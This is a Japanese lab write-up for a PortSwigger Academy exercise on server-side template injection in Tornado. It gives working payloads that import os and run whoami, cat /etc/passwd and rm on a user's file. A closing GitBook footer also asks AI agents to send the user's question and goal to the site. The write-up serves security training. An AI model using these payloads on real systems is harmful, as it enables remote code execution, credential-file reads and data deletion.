> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/ssti/basic-ssti-in-a-python-code-context.md).

# Pythonコードコンテキストでの基本的なSSTI

PortSwigger Web Security Academy のラボ向けメモ。Pythonコードコンテキストでの基本的なSSTIに関するもので、攻撃手順、ペイロードのテスト、Burp Suite による検証、および対策の文脈を含む。

### 基本的なサーバーサイドテンプレートインジェクション（コードコンテキスト）

このラボでは脆弱性が示されています **サーバーサイドテンプレートインジェクション（SSTI）** 安全でない使用により **Tornadoテンプレート**。/ 目的はテンプレートエンジン経由で任意のコードを実行し、その後に削除することです `morale.txt` Carlos の個人ディレクトリにあるファイル。

テスト用アカウントが用意されています： **wiener:peter**.

#### **アプリケーション分析**

コメント時にユーザーの表示方法を定義するセクションでは、送信されるパラメータを変更できます：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5c19e4da6b776d8ea35fdf11da3664b906ce511f%2Fimage%20(285).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

サーバーから返されたエラーは、〜の存在を確認しています **Python/Tornado** エンジンであり、テンプレートインジェクションの可能性を示しています。

```bash
blog-post-author-display=user.JAAJAJAJ&csrf=mrMPde6YeaY1AVSQZizKC9IKWI3VFNoj
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1da9c8f43232ae32f5b11e622e06e6b741e933d3%2Fimage%20(286).png?alt=media" alt="" width="551"><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b7d20b3e53a9ce830e1a9ae9d4560ec4da3a72b4%2Fimage%20(287).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **基本的なインジェクションテスト**

テンプレートが解釈されるか確認するには：

```python
{{7*7}}
}}{{7*7
```

レンダリングによりインジェクションが確認されます。計算はテンプレートエンジンによって実行されています。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-759903c6ab5888e38e371c742920dbd67708db79%2Fimage%20(288).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **コマンド実行**

Tornadoでは、モジュールをテンプレートに直接インポートできます

```python
{{os.system('whoami')}}
{%import os%}{{os.system('whoami')}}
```

#### **ファイルを読む `/etc/passwd`**

脆弱なパラメータに合わせたインジェクション

{% code overflow="wrap" %}

```python
blog-post-author-display=user.name}}{%import os%}{{os.system('cat /etc/passwd')}&csrf=mrMPde6YeaY1AVSQZizKC9IKWI3VFNoj
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-820fed3e03bd01879f7d9eeecad9b372158b787e%2Fimage%20(289).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **削除されたMoralファイル.txt**

ラボを検証するための最終コマンド：

{% code overflow="wrap" %}

```bash
blog-post-author-display=user.name}}{%import os%}{{os.system('rm /home/carlos/morale.txt')}&csrf=mrMPde6YeaY1AVSQZizKC9IKWI3VFNoj
```

{% endcode %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/ssti/basic-ssti-in-a-python-code-context.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
